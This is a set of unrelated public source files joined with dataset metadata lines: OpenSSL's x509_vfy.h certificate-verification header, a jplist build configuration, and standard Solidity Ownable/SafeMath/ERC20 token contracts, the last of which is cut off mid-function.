/* crypto/x509/x509_vfy.h */
/* Copyright (C) 1995-1998 Eric Young ([email protected])
* All rights reserved.
*
* This package is an SSL implementation written
* by Eric Young ([email protected]).
* The implementation was written so as to conform with Netscapes SSL.
*
* This library is free for commercial and non-commercial use as long as
* the following conditions are aheared to. The following conditions
* apply to all code found in this distribution, be it the RC4, RSA,
* lhash, DES, etc., code; not just the SSL code. The SSL documentation
* included with this distribution is covered by the same copyright terms
* except that the holder is Tim Hudson ([email protected]).
*
* Copyright remains Eric Young's, and as such any Copyright notices in
* the code are not to be removed.
* If this package is used in a product, Eric Young should be given attribution
* as the author of the parts of the library used.
* This can be in the form of a textual message at program startup or
* in documentation (online or textual) provided with the package.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* "This product includes cryptographic software written by
* Eric Young ([email protected])"
* The word 'cryptographic' can be left out if the rouines from the library
* being used are not cryptographic related :-).
* 4. If you include any Windows specific code (or a derivative thereof) from
* the apps directory (application code) you must include an acknowledgement:
* "This product includes software written by Tim Hudson ([email protected])"
*
* THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* The licence and distribution terms for any publically available version or
* derivative of this code cannot be changed. i.e. this code cannot simply be
* copied and put under another distribution licence
* [including the GNU Public Licence.]
*/
#ifndef HEADER_X509_H
# include <openssl/x509.h>
/*
* openssl/x509.h ends up #include-ing this file at about the only
* appropriate moment.
*/
#endif
#ifndef HEADER_X509_VFY_H
# define HEADER_X509_VFY_H
# include <openssl/opensslconf.h>
# ifndef OPENSSL_NO_LHASH
# include <openssl/lhash.h>
# endif
# include <openssl/bio.h>
# include <openssl/crypto.h>
# include <openssl/symhacks.h>
#ifdef __cplusplus
extern "C" {
#endif
# if 0
/* Outer object */
typedef struct x509_hash_dir_st {
int num_dirs;
char **dirs;
int *dirs_type;
int num_dirs_alloced;
} X509_HASH_DIR_CTX;
# endif
typedef struct x509_file_st {
int num_paths; /* number of paths to files or directories */
int num_alloced;
char **paths; /* the list of paths or directories */
int *path_type;
} X509_CERT_FILE_CTX;
/*******************************/
/*-
SSL_CTX -> X509_STORE
-> X509_LOOKUP
->X509_LOOKUP_METHOD
-> X509_LOOKUP
->X509_LOOKUP_METHOD
SSL -> X509_STORE_CTX
->X509_STORE
The X509_STORE holds the tables etc for verification stuff.
A X509_STORE_CTX is used while validating a single certificate.
The X509_STORE has X509_LOOKUPs for looking up certs.
The X509_STORE then calls a function to actually verify the
certificate chain.
*/
# define X509_LU_RETRY -1
# define X509_LU_FAIL 0
# define X509_LU_X509 1
# define X509_LU_CRL 2
# define X509_LU_PKEY 3
typedef struct x509_object_st {
/* one of the above types */
int type;
union {
char *ptr;
X509 *x509;
X509_CRL *crl;
EVP_PKEY *pkey;
} data;
} X509_OBJECT;
typedef struct x509_lookup_st X509_LOOKUP;
DECLARE_STACK_OF(X509_LOOKUP)
DECLARE_STACK_OF(X509_OBJECT)
/* This is a static that defines the function interface */
typedef struct x509_lookup_method_st {
const char *name;
int (*new_item) (X509_LOOKUP *ctx);
void (*free) (X509_LOOKUP *ctx);
int (*init) (X509_LOOKUP *ctx);
int (*shutdown) (X509_LOOKUP *ctx);
int (*ctrl) (X509_LOOKUP *ctx, int cmd, const char *argc, long argl,
char **ret);
int (*get_by_subject) (X509_LOOKUP *ctx, int type, X509_NAME *name,
X509_OBJECT *ret);
int (*get_by_issuer_serial) (X509_LOOKUP *ctx, int type, X509_NAME *name,
ASN1_INTEGER *serial, X509_OBJECT *ret);
int (*get_by_fingerprint) (X509_LOOKUP *ctx, int type,
unsigned char *bytes, int len,
X509_OBJECT *ret);
int (*get_by_alias) (X509_LOOKUP *ctx, int type, char *str, int len,
X509_OBJECT *ret);
} X509_LOOKUP_METHOD;
/*
* This structure hold all parameters associated with a verify operation by
* including an X509_VERIFY_PARAM structure in related structures the
* parameters used can be customized
*/
typedef struct X509_VERIFY_PARAM_st {
char *name;
time_t check_time; /* Time to use */
unsigned long inh_flags; /* Inheritance flags */
unsigned long flags; /* Various verify flags */
int purpose; /* purpose to check untrusted certificates */
int trust; /* trust setting to check */
int depth; /* Verify depth */
STACK_OF(ASN1_OBJECT) *policies; /* Permissible policies */
} X509_VERIFY_PARAM;
DECLARE_STACK_OF(X509_VERIFY_PARAM)
/*
* This is used to hold everything. It is used for all certificate
* validation. Once we have a certificate chain, the 'verify' function is
* then called to actually check the cert chain.
*/
struct x509_store_st {
/* The following is a cache of trusted certs */
int cache; /* if true, stash any hits */
STACK_OF(X509_OBJECT) *objs; /* Cache of all objects */
/* These are external lookup methods */
STACK_OF(X509_LOOKUP) *get_cert_methods;
X509_VERIFY_PARAM *param;
/* Callbacks for various operations */
/* called to verify a certificate */
int (*verify) (X509_STORE_CTX *ctx);
/* error callback */
int (*verify_cb) (int ok, X509_STORE_CTX *ctx);
/* get issuers cert from ctx */
int (*get_issuer) (X509 **issuer, X509_STORE_CTX *ctx, X509 *x);
/* check issued */
int (*check_issued) (X509_STORE_CTX *ctx, X509 *x, X509 *issuer);
/* Check revocation status of chain */
int (*check_revocation) (X509_STORE_CTX *ctx);
/* retrieve CRL */
int (*get_crl) (X509_STORE_CTX *ctx, X509_CRL **crl, X509 *x);
/* Check CRL validity */
int (*check_crl) (X509_STORE_CTX *ctx, X509_CRL *crl);
/* Check certificate against CRL */
int (*cert_crl) (X509_STORE_CTX *ctx, X509_CRL *crl, X509 *x);
STACK_OF(X509) *(*lookup_certs) (X509_STORE_CTX *ctx, X509_NAME *nm);
STACK_OF(X509_CRL) *(*lookup_crls) (X509_STORE_CTX *ctx, X509_NAME *nm);
int (*cleanup) (X509_STORE_CTX *ctx);
CRYPTO_EX_DATA ex_data;
int references;
} /* X509_STORE */ ;
int X509_STORE_set_depth(X509_STORE *store, int depth);
# define X509_STORE_set_verify_cb_func(ctx,func) ((ctx)->verify_cb=(func))
# define X509_STORE_set_verify_func(ctx,func) ((ctx)->verify=(func))
/* This is the functions plus an instance of the local variables. */
struct x509_lookup_st {
int init; /* have we been started */
int skip; /* don't use us. */
X509_LOOKUP_METHOD *method; /* the functions */
char *method_data; /* method data */
X509_STORE *store_ctx; /* who owns us */
} /* X509_LOOKUP */ ;
/*
* This is a used when verifying cert chains. Since the gathering of the
* cert chain can take some time (and have to be 'retried', this needs to be
* kept and passed around.
*/
struct x509_store_ctx_st { /* X509_STORE_CTX */
X509_STORE *ctx;
/* used when looking up certs */
int current_method;
/* The following are set by the caller */
/* The cert to check */
X509 *cert;
/* chain of X509s - untrusted - passed in */
STACK_OF(X509) *untrusted;
/* set of CRLs passed in */
STACK_OF(X509_CRL) *crls;
X509_VERIFY_PARAM *param;
/* Other info for use with get_issuer() */
void *other_ctx;
/* Callbacks for various operations */
/* called to verify a certificate */
int (*verify) (X509_STORE_CTX *ctx);
/* error callback */
int (*verify_cb) (int ok, X509_STORE_CTX *ctx);
/* get issuers cert from ctx */
int (*get_issuer) (X509 **issuer, X509_STORE_CTX *ctx, X509 *x);
/* check issued */
int (*check_issued) (X509_STORE_CTX *ctx, X509 *x, X509 *issuer);
/* Check revocation status of chain */
int (*check_revocation) (X509_STORE_CTX *ctx);
/* retrieve CRL */
int (*get_crl) (X509_STORE_CTX *ctx, X509_CRL **crl, X509 *x);
/* Check CRL validity */
int (*check_crl) (X509_STORE_CTX *ctx, X509_CRL *crl);
/* Check certificate against CRL */
int (*cert_crl) (X509_STORE_CTX *ctx, X509_CRL *crl, X509 *x);
int (*check_policy) (X509_STORE_CTX *ctx);
STACK_OF(X509) *(*lookup_certs) (X509_STORE_CTX *ctx, X509_NAME *nm);
STACK_OF(X509_CRL) *(*lookup_crls) (X509_STORE_CTX *ctx, X509_NAME *nm);
int (*cleanup) (X509_STORE_CTX *ctx);
/* The following is built up */
/* if 0, rebuild chain */
int valid;
/* index of last untrusted cert */
int last_untrusted;
/* chain of X509s - built up and trusted */
STACK_OF(X509) *chain;
/* Valid policy tree */
X509_POLICY_TREE *tree;
/* Require explicit policy value */
int explicit_policy;
/* When something goes wrong, this is why */
int error_depth;
int error;
X509 *current_cert;
/* cert currently being tested as valid issuer */
X509 *current_issuer;
/* current CRL */
X509_CRL *current_crl;
/* score of current CRL */
int current_crl_score;
/* Reason mask */
unsigned int current_reasons;
/* For CRL path validation: parent context */
X509_STORE_CTX *parent;
CRYPTO_EX_DATA ex_data;
} /* X509_STORE_CTX */ ;
void X509_STORE_CTX_set_depth(X509_STORE_CTX *ctx, int depth);
# define X509_STORE_CTX_set_app_data(ctx,data) \
X509_STORE_CTX_set_ex_data(ctx,0,data)
# define X509_STORE_CTX_get_app_data(ctx) \
X509_STORE_CTX_get_ex_data(ctx,0)
# define X509_L_FILE_LOAD 1
# define X509_L_ADD_DIR 2
# define X509_LOOKUP_load_file(x,name,type) \
X509_LOOKUP_ctrl((x),X509_L_FILE_LOAD,(name),(long)(type),NULL)
# define X509_LOOKUP_add_dir(x,name,type) \
X509_LOOKUP_ctrl((x),X509_L_ADD_DIR,(name),(long)(type),NULL)
# define X509_V_OK 0
/* illegal error (for uninitialized values, to avoid X509_V_OK): 1 */
# define X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT 2
# define X509_V_ERR_UNABLE_TO_GET_CRL 3
# define X509_V_ERR_UNABLE_TO_DECRYPT_CERT_SIGNATURE 4
# define X509_V_ERR_UNABLE_TO_DECRYPT_CRL_SIGNATURE 5
# define X509_V_ERR_UNABLE_TO_DECODE_ISSUER_PUBLIC_KEY 6
# define X509_V_ERR_CERT_SIGNATURE_FAILURE 7
# define X509_V_ERR_CRL_SIGNATURE_FAILURE 8
# define X509_V_ERR_CERT_NOT_YET_VALID 9
# define X509_V_ERR_CERT_HAS_EXPIRED 10
# define X509_V_ERR_CRL_NOT_YET_VALID 11
# define X509_V_ERR_CRL_HAS_EXPIRED 12
# define X509_V_ERR_ERROR_IN_CERT_NOT_BEFORE_FIELD 13
# define X509_V_ERR_ERROR_IN_CERT_NOT_AFTER_FIELD 14
# define X509_V_ERR_ERROR_IN_CRL_LAST_UPDATE_FIELD 15
# define X509_V_ERR_ERROR_IN_CRL_NEXT_UPDATE_FIELD 16
# define X509_V_ERR_OUT_OF_MEM 17
# define X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT 18
# define X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN 19
# define X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY 20
# define X509_V_ERR_UNABLE_TO_VERIFY_LEAF_SIGNATURE 21
# define X509_V_ERR_CERT_CHAIN_TOO_LONG 22
# define X509_V_ERR_CERT_REVOKED 23
# define X509_V_ERR_INVALID_CA 24
# define X509_V_ERR_PATH_LENGTH_EXCEEDED 25
# define X509_V_ERR_INVALID_PURPOSE 26
# define X509_V_ERR_CERT_UNTRUSTED 27
# define X509_V_ERR_CERT_REJECTED 28
/* These are 'informational' when looking for issuer cert */
# define X509_V_ERR_SUBJECT_ISSUER_MISMATCH 29
# define X509_V_ERR_AKID_SKID_MISMATCH 30
# define X509_V_ERR_AKID_ISSUER_SERIAL_MISMATCH 31
# define X509_V_ERR_KEYUSAGE_NO_CERTSIGN 32
# define X509_V_ERR_UNABLE_TO_GET_CRL_ISSUER 33
# define X509_V_ERR_UNHANDLED_CRITICAL_EXTENSION 34
# define X509_V_ERR_KEYUSAGE_NO_CRL_SIGN 35
# define X509_V_ERR_UNHANDLED_CRITICAL_CRL_EXTENSION 36
# define X509_V_ERR_INVALID_NON_CA 37
# define X509_V_ERR_PROXY_PATH_LENGTH_EXCEEDED 38
# define X509_V_ERR_KEYUSAGE_NO_DIGITAL_SIGNATURE 39
# define X509_V_ERR_PROXY_CERTIFICATES_NOT_ALLOWED 40
# define X509_V_ERR_INVALID_EXTENSION 41
# define X509_V_ERR_INVALID_POLICY_EXTENSION 42
# define X509_V_ERR_NO_EXPLICIT_POLICY 43
# define X509_V_ERR_DIFFERENT_CRL_SCOPE 44
# define X509_V_ERR_UNSUPPORTED_EXTENSION_FEATURE 45
# define X509_V_ERR_UNNESTED_RESOURCE 46
# define X509_V_ERR_PERMITTED_VIOLATION 47
# define X509_V_ERR_EXCLUDED_VIOLATION 48
# define X509_V_ERR_SUBTREE_MINMAX 49
# define X509_V_ERR_UNSUPPORTED_CONSTRAINT_TYPE 51
# define X509_V_ERR_UNSUPPORTED_CONSTRAINT_SYNTAX 52
# define X509_V_ERR_UNSUPPORTED_NAME_SYNTAX 53
# define X509_V_ERR_CRL_PATH_VALIDATION_ERROR 54
/* The application is not happy */
# define X509_V_ERR_APPLICATION_VERIFICATION 50
/* Certificate verify flags */
/* Send issuer+subject checks to verify_cb */
# define X509_V_FLAG_CB_ISSUER_CHECK 0x1
/* Use check time instead of current time */
# define X509_V_FLAG_USE_CHECK_TIME 0x2
/* Lookup CRLs */
# define X509_V_FLAG_CRL_CHECK 0x4
/* Lookup CRLs for whole chain */
# define X509_V_FLAG_CRL_CHECK_ALL 0x8
/* Ignore unhandled critical extensions */
# define X509_V_FLAG_IGNORE_CRITICAL 0x10
/* Disable workarounds for broken certificates */
# define X509_V_FLAG_X509_STRICT 0x20
/* Enable proxy certificate validation */
# define X509_V_FLAG_ALLOW_PROXY_CERTS 0x40
/* Enable policy checking */
# define X509_V_FLAG_POLICY_CHECK 0x80
/* Policy variable require-explicit-policy */
# define X509_V_FLAG_EXPLICIT_POLICY 0x100
/* Policy variable inhibit-any-policy */
# define X509_V_FLAG_INHIBIT_ANY 0x200
/* Policy variable inhibit-policy-mapping */
# define X509_V_FLAG_INHIBIT_MAP 0x400
/* Notify callback that policy is OK */
# define X509_V_FLAG_NOTIFY_POLICY 0x800
/* Extended CRL features such as indirect CRLs, alternate CRL signing keys */
# define X509_V_FLAG_EXTENDED_CRL_SUPPORT 0x1000
/* Delta CRL support */
# define X509_V_FLAG_USE_DELTAS 0x2000
/* Check selfsigned CA signature */
# define X509_V_FLAG_CHECK_SS_SIGNATURE 0x4000
# define X509_VP_FLAG_DEFAULT 0x1
# define X509_VP_FLAG_OVERWRITE 0x2
# define X509_VP_FLAG_RESET_FLAGS 0x4
# define X509_VP_FLAG_LOCKED 0x8
# define X509_VP_FLAG_ONCE 0x10
/* Internal use: mask of policy related options */
# define X509_V_FLAG_POLICY_MASK (X509_V_FLAG_POLICY_CHECK \
| X509_V_FLAG_EXPLICIT_POLICY \
| X509_V_FLAG_INHIBIT_ANY \
| X509_V_FLAG_INHIBIT_MAP)
int X509_OBJECT_idx_by_subject(STACK_OF(X509_OBJECT) *h, int type,
X509_NAME *name);
X509_OBJECT *X509_OBJECT_retrieve_by_subject(STACK_OF(X509_OBJECT) *h,
int type, X509_NAME *name);
X509_OBJECT *X509_OBJECT_retrieve_match(STACK_OF(X509_OBJECT) *h,
X509_OBJECT *x);
void X509_OBJECT_up_ref_count(X509_OBJECT *a);
void X509_OBJECT_free_contents(X509_OBJECT *a);
X509_STORE *X509_STORE_new(void);
void X509_STORE_free(X509_STORE *v);
STACK_OF(X509) *X509_STORE_get1_certs(X509_STORE_CTX *st, X509_NAME *nm);
STACK_OF(X509_CRL) *X509_STORE_get1_crls(X509_STORE_CTX *st, X509_NAME *nm);
int X509_STORE_set_flags(X509_STORE *ctx, unsigned long flags);
int X509_STORE_set_purpose(X509_STORE *ctx, int purpose);
int X509_STORE_set_trust(X509_STORE *ctx, int trust);
int X509_STORE_set1_param(X509_STORE *ctx, X509_VERIFY_PARAM *pm);
void X509_STORE_set_verify_cb(X509_STORE *ctx,
int (*verify_cb) (int, X509_STORE_CTX *));
X509_STORE_CTX *X509_STORE_CTX_new(void);
int X509_STORE_CTX_get1_issuer(X509 **issuer, X509_STORE_CTX *ctx, X509 *x);
void X509_STORE_CTX_free(X509_STORE_CTX *ctx);
int X509_STORE_CTX_init(X509_STORE_CTX *ctx, X509_STORE *store,
X509 *x509, STACK_OF(X509) *chain);
void X509_STORE_CTX_trusted_stack(X509_STORE_CTX *ctx, STACK_OF(X509) *sk);
void X509_STORE_CTX_cleanup(X509_STORE_CTX *ctx);
X509_LOOKUP *X509_STORE_add_lookup(X509_STORE *v, X509_LOOKUP_METHOD *m);
X509_LOOKUP_METHOD *X509_LOOKUP_hash_dir(void);
X509_LOOKUP_METHOD *X509_LOOKUP_file(void);
int X509_STORE_add_cert(X509_STORE *ctx, X509 *x);
int X509_STORE_add_crl(X509_STORE *ctx, X509_CRL *x);
int X509_STORE_get_by_subject(X509_STORE_CTX *vs, int type, X509_NAME *name,
X509_OBJECT *ret);
int X509_LOOKUP_ctrl(X509_LOOKUP *ctx, int cmd, const char *argc,
long argl, char **ret);
# ifndef OPENSSL_NO_STDIO
int X509_load_cert_file(X509_LOOKUP *ctx, const char *file, int type);
int X509_load_crl_file(X509_LOOKUP *ctx, const char *file, int type);
int X509_load_cert_crl_file(X509_LOOKUP *ctx, const char *file, int type);
# endif
X509_LOOKUP *X509_LOOKUP_new(X509_LOOKUP_METHOD *method);
void X509_LOOKUP_free(X509_LOOKUP *ctx);
int X509_LOOKUP_init(X509_LOOKUP *ctx);
int X509_LOOKUP_by_subject(X509_LOOKUP *ctx, int type, X509_NAME *name,
X509_OBJECT *ret);
int X509_LOOKUP_by_issuer_serial(X509_LOOKUP *ctx, int type, X509_NAME *name,
ASN1_INTEGER *serial, X509_OBJECT *ret);
int X509_LOOKUP_by_fingerprint(X509_LOOKUP *ctx, int type,
unsigned char *bytes, int len,
X509_OBJECT *ret);
int X509_LOOKUP_by_alias(X509_LOOKUP *ctx, int type, char *str, int len,
X509_OBJECT *ret);
int X509_LOOKUP_shutdown(X509_LOOKUP *ctx);
# ifndef OPENSSL_NO_STDIO
int X509_STORE_load_locations(X509_STORE *ctx,
const char *file, const char *dir);
int X509_STORE_set_default_paths(X509_STORE *ctx);
# endif
int X509_STORE_CTX_get_ex_new_index(long argl, void *argp,
CRYPTO_EX_new *new_func,
CRYPTO_EX_dup *dup_func,
CRYPTO_EX_free *free_func);
int X509_STORE_CTX_set_ex_data(X509_STORE_CTX *ctx, int idx, void *data);
void *X509_STORE_CTX_get_ex_data(X509_STORE_CTX *ctx, int idx);
int X509_STORE_CTX_get_error(X509_STORE_CTX *ctx);
void X509_STORE_CTX_set_error(X509_STORE_CTX *ctx, int s);
int X509_STORE_CTX_get_error_depth(X509_STORE_CTX *ctx);
X509 *X509_STORE_CTX_get_current_cert(X509_STORE_CTX *ctx);
X509 *X509_STORE_CTX_get0_current_issuer(X509_STORE_CTX *ctx);
X509_CRL *X509_STORE_CTX_get0_current_crl(X509_STORE_CTX *ctx);
X509_STORE_CTX *X509_STORE_CTX_get0_parent_ctx(X509_STORE_CTX *ctx);
STACK_OF(X509) *X509_STORE_CTX_get_chain(X509_STORE_CTX *ctx);
STACK_OF(X509) *X509_STORE_CTX_get1_chain(X509_STORE_CTX *ctx);
void X509_STORE_CTX_set_cert(X509_STORE_CTX *c, X509 *x);
void X509_STORE_CTX_set_chain(X509_STORE_CTX *c, STACK_OF(X509) *sk);
void X509_STORE_CTX_set0_crls(X509_STORE_CTX *c, STACK_OF(X509_CRL) *sk);
int X509_STORE_CTX_set_purpose(X509_STORE_CTX *ctx, int purpose);
int X509_STORE_CTX_set_trust(X509_STORE_CTX *ctx, int trust);
int X509_STORE_CTX_purpose_inherit(X509_STORE_CTX *ctx, int def_purpose,
int purpose, int trust);
void X509_STORE_CTX_set_flags(X509_STORE_CTX *ctx, unsigned long flags);
void X509_STORE_CTX_set_time(X509_STORE_CTX *ctx, unsigned long flags,
time_t t);
void X509_STORE_CTX_set_verify_cb(X509_STORE_CTX *ctx,
int (*verify_cb) (int, X509_STORE_CTX *));
X509_POLICY_TREE *X509_STORE_CTX_get0_policy_tree(X509_STORE_CTX *ctx);
int X509_STORE_CTX_get_explicit_policy(X509_STORE_CTX *ctx);
X509_VERIFY_PARAM *X509_STORE_CTX_get0_param(X509_STORE_CTX *ctx);
void X509_STORE_CTX_set0_param(X509_STORE_CTX *ctx, X509_VERIFY_PARAM *param);
int X509_STORE_CTX_set_default(X509_STORE_CTX *ctx, const char *name);
/* X509_VERIFY_PARAM functions */
X509_VERIFY_PARAM *X509_VERIFY_PARAM_new(void);
void X509_VERIFY_PARAM_free(X509_VERIFY_PARAM *param);
int X509_VERIFY_PARAM_inherit(X509_VERIFY_PARAM *to,
const X509_VERIFY_PARAM *from);
int X509_VERIFY_PARAM_set1(X509_VERIFY_PARAM *to,
const X509_VERIFY_PARAM *from);
int X509_VERIFY_PARAM_set1_name(X509_VERIFY_PARAM *param, const char *name);
int X509_VERIFY_PARAM_set_flags(X509_VERIFY_PARAM *param,
unsigned long flags);
int X509_VERIFY_PARAM_clear_flags(X509_VERIFY_PARAM *param,
unsigned long flags);
unsigned long X509_VERIFY_PARAM_get_flags(X509_VERIFY_PARAM *param);
int X509_VERIFY_PARAM_set_purpose(X509_VERIFY_PARAM *param, int purpose);
int X509_VERIFY_PARAM_set_trust(X509_VERIFY_PARAM *param, int trust);
void X509_VERIFY_PARAM_set_depth(X509_VERIFY_PARAM *param, int depth);
void X509_VERIFY_PARAM_set_time(X509_VERIFY_PARAM *param, time_t t);
int X509_VERIFY_PARAM_add0_policy(X509_VERIFY_PARAM *param,
ASN1_OBJECT *policy);
int X509_VERIFY_PARAM_set1_policies(X509_VERIFY_PARAM *param,
STACK_OF(ASN1_OBJECT) *policies);
int X509_VERIFY_PARAM_get_depth(const X509_VERIFY_PARAM *param);
int X509_VERIFY_PARAM_add0_table(X509_VERIFY_PARAM *param);
const X509_VERIFY_PARAM *X509_VERIFY_PARAM_lookup(const char *name);
void X509_VERIFY_PARAM_table_cleanup(void);
int X509_policy_check(X509_POLICY_TREE **ptree, int *pexplicit_policy,
STACK_OF(X509) *certs,
STACK_OF(ASN1_OBJECT) *policy_oids, unsigned int flags);
void X509_policy_tree_free(X509_POLICY_TREE *tree);
int X509_policy_tree_level_count(const X509_POLICY_TREE *tree);
X509_POLICY_LEVEL *X509_policy_tree_get0_level(const X509_POLICY_TREE *tree,
int i);
STACK_OF(X509_POLICY_NODE) *X509_policy_tree_get0_policies(const
X509_POLICY_TREE
*tree);
STACK_OF(X509_POLICY_NODE) *X509_policy_tree_get0_user_policies(const
X509_POLICY_TREE
*tree);
int X509_policy_level_node_count(X509_POLICY_LEVEL *level);
X509_POLICY_NODE *X509_policy_level_get0_node(X509_POLICY_LEVEL *level,
int i);
const ASN1_OBJECT *X509_policy_node_get0_policy(const X509_POLICY_NODE *node);
STACK_OF(POLICYQUALINFO) *X509_policy_node_get0_qualifiers(const
X509_POLICY_NODE
*node);
const X509_POLICY_NODE *X509_policy_node_get0_parent(const X509_POLICY_NODE
*node);
#ifdef __cplusplus
}
#endif
#endif
| {
"pile_set_name": "Github"
} |
{
"dist": "dist/js/jplist.sort-bundle.min.js",
"src": [
"src/addons/sort-bundle/js/default-sort/default-sort-view.js",
"src/addons/sort-bundle/js/default-sort/default-sort-dto.js",
"src/addons/sort-bundle/js/dropdown/sort-select-view.js",
"src/addons/sort-bundle/js/dropdown/sort-dropdown-view.js",
"src/addons/sort-bundle/js/dropdown/dto/dropdown-sort-dto.js"
],
"externs": [
"build/closure/google-closure-compiler/externs/jquery-1.7.externs.js",
"build/closure/google-closure-compiler/externs/jplist.addons.externs.js"
],
"version": 10
} | {
"pile_set_name": "Github"
} |
/**********************************************************************
*These solidity codes have been obtained from Etherscan for extracting
*the smartcontract related info.
*The data will be used by MATRIX AI team as the reference basis for
*MATRIX model analysis,extraction of contract semantics,
*as well as AI based data analysis, etc.
**********************************************************************/
pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ReceivingContractCallback {
function tokenFallback(address _from, uint _value) public;
}
contract RetrieveTokensFeature is Ownable {
function retrieveTokens(address to, address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(to, alienToken.balanceOf(this));
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
